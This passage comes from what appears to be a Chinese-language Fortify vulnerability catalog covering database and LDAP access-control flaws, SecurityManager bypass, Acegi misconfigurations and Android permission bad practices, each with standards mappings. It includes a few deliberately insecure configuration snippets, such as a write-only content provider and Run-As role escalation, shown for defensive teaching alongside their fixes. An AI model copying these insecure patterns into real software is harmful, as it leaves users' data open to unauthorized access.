[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3470.1 CAT II, APP3470.4 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3470.1 CAT II, APP3470.4 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Access Control: Database
ABSTRACT
如果没有适当的 access control,就会执行一个包含用户控制主键的 SQL 指令,从而允许攻击者访问未经授权的记录。
EXPLANATION
Database access control 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
这个数据用来指定 SQL 查询中主键的值。
示例 1:以下代码使用可转义元字符并防止出现 SQL 注入漏洞的参数化语句,以构建和执行用于搜索与指定标识符 [1] 相匹配的清单的 SQL 查询。您可以从与当前被授权用户有关的所有清单中选择这些标识符。
1 | ... |
问题在于开发者没有考虑到所有可能出现的 id 值。虽然接口生成了一个当前用户的标识符清单,但是攻击者可以绕过这个接口,从而获取所需的任何清单。因为此例中的代码没有执行检查,确保用户有权访问需要的清单,所以代码会显示所有清单,即使这些清单并不属于当前用户。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 Database access control 错误)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 2:以下代码对示例 1 进行调整,使其适用于 Android 平台。
1 | ... |
许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Struts 2。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。
RECOMMENDATIONS
与其靠表示层来限制用户输入的值,还不如在应用程序和数据库层上进行 access control。任何情况下都不允许用户在没有取得相应权限的情况下获取或修改数据库中的记录。每个涉及数据库的查询都必须遵守这个原则,这可以通过把当前被授权的用户名作为查询语句的一部分来实现。
例 3:以下代码实施了与例 1 相同的功能,但是附加了一个限制,即为当前被授权的用户指定某一特定的获取清单的方式。
1 | ... |
下面是 Android 的等同内容:
1 | ... |
REFERENCES
[1] S. J. Friedl SQL Injection Attacks by Example
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 566
[4] Standards Mapping - FIPS200 AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[9] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[10] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[17] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: LDAP
ABSTRACT
在没有适当 access control 的情况下,执行一个包含用户控制值的 LDAP 声明,这可以让攻击者访问未授权的目录条目。
EXPLANATION
Database access control 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于在 LDAP 查询中指定一个数据值。
例 1:当前已验证用户的雇员 ID 会随着各个请求一起,通过客户端界面自动提交。以下代码在使用雇员 ID 构建 LDAP 查询之前,将检查该雇员 ID 是否为整数。该验证避免了 LDAP injection 漏洞,但仍可能留下代码漏洞。
1 | ... |
问题在于开发人员未能考虑到若攻击者提供可供选择的 empID 值,会发生什么情况。尽管该界面会自动提交当前用户的雇员 ID,但是攻击者也可能在恶意请求中提交其他值替换当前的 ID。因为本例子中的代码是在匿名绑定情况下执行查询,不管当前已验证用户的身份如何,它都会将有效的雇员 ID 返回至目录入口。
RECOMMENDATIONS
应用程序应该执行精确验证和通过绑定到具体的用户目录的方式来加强 access control 约束,而不是仅仅依赖于表示层来限制用户提交的值。在任何情况下,只要没有适当的权限,都不应该允许用户检索或修改目录中的相关记录。访问目录的每个查询应该执行该策略,这就意味着只有完全受限的查询在匿名绑定的情况下执行,从而有效避免了在 LDAP 系统上建立 access control 机制。
例 2:以下代码执行和例 1 相同的功能,但是使用了 LDAP 简单 authentication,确保查询只影响当前用户允许访问的记录。
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 639
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: SecurityManager Bypass
ABSTRACT
如果在不可信认的代码上调用此函数,则攻击者将可以访问受限制的程序包,还能执行任意代码。
EXPLANATION
使用通过即时调用者的类加载器检查执行任务的 Java API 时应小心谨慎。这些 API 会绕过可确保已向执行链中的所有调用者授予了必需安全权限的 SecurityManager 检查。只单独针对即时调用者的类加载器执行访问检查可能会导致权限扩大问题,执行链中的某些调用者不必具有必需的权限就能访问资源。由于这些 API 可能会削弱系统安全性,因此不应在不可信认的代码上调用它们。
来自不可信认的源或不可信认的环境的 Java Applet(具有对这些 API 的访问权限)可能会执行恶意代码并削弱系统安全性。
RECOMMENDATIONS
确保 Java Applet 无法访问这些敏感的 API,并且无法在不可信认的代码上进行调用。此外,不得将此方法返回的对象传播回不可信认的代码。
有关此漏洞的更多详细信息,请参见“Secure Coding Guidelines for the Java Programming Language”中的准则 9。
REFERENCES
[1] Secure Coding Guidelines for the Java Programming Language, Version 4.0
[2] CVE 2012-1682
[3] CVE 2012-4681
[4] SEC05-J. Do not use reflection to increase accessibility of classes, methods, or fields CERT
[5] ACCESS-8: Safely invoke standard APIs that bypass SecurityManager checks depending on the immediate caller’s class loader Oracle
[6] ACCESS-9: Safely invoke standard APIs that perform tasks using the immediate caller’s class loader instance Oracle
[7] ACCESS-10: Be aware of standard APIs that perform Java language access checks against the immediate caller Oracle
[8] ACCESS-11: Be aware java.lang.reflect.Method.invoke is ignored for checking the immediate caller Oracle
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[11] Standards Mapping - OWASP Top 10 2013 A7 Missing Function Level Access Control
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002360 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002360 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002360 CAT II
[18] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
[19] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Access Control: Weak Security Constraint
ABSTRACT
弱安全限制不能为安全性关键的资源提供足够的保护。
EXPLANATION
单个<security constraint>
元素指示程序不使用基于角色的 access control,而该 access control 是用于保护安全 Web 应用程序中的敏感操作而获得普遍接受的最佳做法。如果应用程序提供对敏感操作或数据的访问权限,那么可能就没有足够的控制能够防止未经授权的用户进行访问。而且,如果在<url-pattern>
中有通配符 (*),那么可能表示该模式的范围很广泛。
RECOMMENDATIONS
请确保对安全性关键的资源的访问权限仅限制为应允许访问这些资源的用户。通过创建根据 role-name 来限制访问权限的安全限制并使用 url-pattern 来限制对资源的访问权限,便可完成此配置。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 285
[2] Standards Mapping - FIPS200 AC
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[6] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[7] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[8] Standards Mapping - OWASP Top 10 2013 A7 Missing Function Level Access Control
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.5, Requirement 6.5.10, Requirement 7.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[17] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 863
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3470.1 CAT II, APP3470.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3470.1 CAT II, APP3470.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3470.1 CAT II, APP3470.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3470.1 CAT II, APP3470.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3470.1 CAT II, APP3470.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3470.1 CAT II, APP3470.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3470.1 CAT II, APP3470.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-002360 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Acegi Misconfiguration: Insecure Channel Mixing
ABSTRACT
允许用户在 HTTP 和 HTTPS 之间跳转会使应用程序易受会话劫持攻击。
EXPLANATION
许多应用程序使用 cookie 来传输用户的会话标识符。在通过 HTTPS 访问应用程序时,cookie 将受到保护(攻击者无法截取它们)。但如果开发者允许通过 HTTP 访问应用程序的非敏感部分,那么会话标识符可能会被窃取。当用户浏览到站点的某个未受保护的部分时,将以明文形式发送包含会话 ID 的 cookie。如果攻击者截取了信息流,他们将会看到该会话 ID,并利用它来控制用户会话。
以下示例显示既使用不安全通道又使用安全通道的配置:
1 | <property name="filterInvocationDefinitionSource"> |
RECOMMENDATIONS
不要将安全通道和不安全通道混合使用。要获得保护,应用程序绝不应允许通过 HTTP 传输会话标识符。
以下示例显示需要所有访问权限来使用安全通道的配置:
1 | <property name="filterInvocationDefinitionSource"> |
REFERENCES
[1] Ben Alex Acegi Security - Channel Security
[2] Standards Mapping - Common Weakness Enumeration CWE ID 5
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3090 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Acegi Misconfiguration: Run-As Authentication Replacement
ABSTRACT
使用 Acegi 中的 Run-As authentication 替换功能可能导致权限扩大漏洞。
EXPLANATION
Acegi Security 允许在安全对象回调阶段临时替换 SecurityContext 中的 Authentication 对象。只有在 AuthenticationManager 和 AccessDecisionManager 成功处理了 Authentication 对象时才会发生这种情况。RunAsManager 将创建此 Authentication 对象。 开发者通常使用 RunAsManager 在方法调用期间为已认证的用户配置一个或多个其他角色。对于需要访问远程应用程序的安全 bean 而言,这非常有用。由于远程应用程序可能需要不同凭证,因此,这允许在调用角色的凭证和远程应用程序所需的凭证之间进行转换,从而使远程访问获得成功。新的 Authentication 对象(称为 RunAsUserToken)将仅作为有效的 Authentication 对象被接受,不需要进一步 authentication 或授权检查。 为新的 Authentication 对象添加新角色或权限可能会暂时扩大用户的权限,从而使用户能够采取未授权的操作。 以下配置显示使用 RunAsManager 为包含 “ROLE_PEON” 角色的用户添加角色 “UBER_BOSS”,这样会使该用户的权限暂时提高到管理员权限,使所有员工都能够从 PrivateCatalog 获得数据。
1 | <bean id="bankManagerSecurity" class="org.acegisecurity.intercept.method.aopalliance.MethodSecurityInterceptor"> |
RECOMMENDATIONS
应当使用 RunAsManager 添加映射到远程应用程序中等同角色的角色或权限,而不是映射到用户在本地应用程序中不应该对其具有访问权限的名称。以下配置显示如何在 PrivateCatalog 中在 getData 执行过程中使用 RunAsManager 添加角色 “UBER_BOSS”。此角色是本地应用程序中现有角色 “ROLE_SUPERVISOR” 的等同角色,因此添加操作不会扩大用户的权限。
1 | <bean id="bankManagerSecurity" class="org.acegisecurity.intercept.method.aopalliance.MethodSecurityInterceptor"> |
REFERENCES
[1] Ben Alex Acegi Security - Run-As Authentication Replacement
[2] Standards Mapping - Common Weakness Enumeration CWE ID 724
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[18] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[19] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Android Bad Practices: Just Provider writePermission Defined
ABSTRACT
程序声明了仅定义 writePermission 的内容提供者。
EXPLANATION
虽然为内容提供者定义单独的读取和写入权限是一种好方法,但只定义 writePermission 可能会产生误导。鉴于 SQL 的性质,生成真正的只写查询通常是不可能的:即使用户没有数据的直接访问权限,攻击者也能通过操作 where 子句重新构建存储的数据。
示例:下面是仅具有 writePermission 的声明的内容提供者示例。
1 | <provider android:name=".ContentProvider" android:writePermission="content.permission.WRITE_CONTENT"/> |
RECOMMENDATIONS
声明内容提供者时,假定具有写入访问权限的内容提供者也具有读取权限。也就是说,为内容提供者授予写入权限意味着同时授予读取和写入权限。
REFERENCES
[1] Provider Element
[2] Path Permission Element
[3] Using Permissions
[4] Jesse Burns Developing Secure Mobile Applications for Android
[5] Standards Mapping - Common Weakness Enumeration CWE ID 265
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Android Bad Practices: Missing Broadcaster Permission
ABSTRACT
程序会在未指定广播者权限的情况下注册接收者。
EXPLANATION
在未指定广播者权限的情况下注册的接收者将接收来自任何广播者的消息。如果这些消息包含恶意数据或来自恶意广播者,可能会对应用程序造成危害。
例 1:以下代码会在未指定广播者权限的情况下注册接收者。
1 | ... |
RECOMMENDATIONS
最好在注册接收者时明确指定广播者权限。这样可以限制仅为接收者显示由具有所需权限的广播者发送的消息。此外,还应该详细审查广播消息中包含的数据。
例 2:以下代码会注册接收者并明确指定所需的广播者权限。
1 | ... |
REFERENCES
[1] Using Permissions
[2] Jesse Burns Developing Secure Mobile Applications for Android
[3] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[4] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[5] Standards Mapping - Common Weakness Enumeration CWE ID 265
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6, Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[19] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Missing Component Permission
ABSTRACT
程序未为该公共组件明确分配访问权限。
EXPLANATION
任何应用程序都能访问在显式定义中未明确分配访问权限的公共组件。
Android 应用程序中活动、接收者和服务组件的 exported 属性的默认值取决于 intent-filter 是否存在。如果存在 intent-filter,说明该组件可供外部使用。因此应将 exported 属性设为 true。这样该组件就能被 Android 平台上的其他任何应用程序访问。
例 1:以下是一个存在 intent-filter 且未设置明确访问权限的 Android 活动示例。
